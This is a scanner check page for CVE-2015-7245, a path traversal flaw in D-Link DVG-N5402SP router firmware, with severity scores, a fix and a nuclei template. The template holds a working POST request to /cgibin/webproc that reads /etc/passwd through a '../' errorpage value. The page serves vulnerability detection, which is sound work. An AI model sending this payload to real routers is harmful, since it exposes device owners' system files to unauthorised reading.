D-Link DVG-N5402SP - Local File Inclusion

highseverity

7.5CVSS score

45.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.

Impact

An attacker can read sensitive files on the system, potentially leading to unauthorized access or disclosure of sensitive information.

Fix

Update the router firmware to the latest version, which includes a fix for the local file inclusion vulnerability.

How to confirm it

Send: POST /cgibin/webproc
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2015-7245 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-7245

info:
  name: D-Link DVG-N5402SP - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.
  impact: |
    An attacker can read sensitive files on the system, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Update the router firmware to the latest version, which includes a fix for the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/135590/D-Link-DVG-N5402SP-Path-Traversal-Information-Disclosure.html
    - https://www.exploit-db.com/exploits/39409/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7245
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-7245
    cwe-id: CWE-22
    epss-score: 0.45479
    epss-percentile: 0.98799
    cpe: cpe:2.3:o:d-link:dvg-n5402sp_firmware:w1000cn-00:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: d-link
    product: dvg-n5402sp_firmware
  tags: cve2015,cve,dlink,lfi,packetstorm,edb,d-link,vuln

http:
  - raw:
      - |
        POST /cgibin/webproc HTTP/1.1
        Host: {{Hostname}}

        getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/passwd&var%3Amenu=setup&var%3Apage=connected&var%&objaction=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from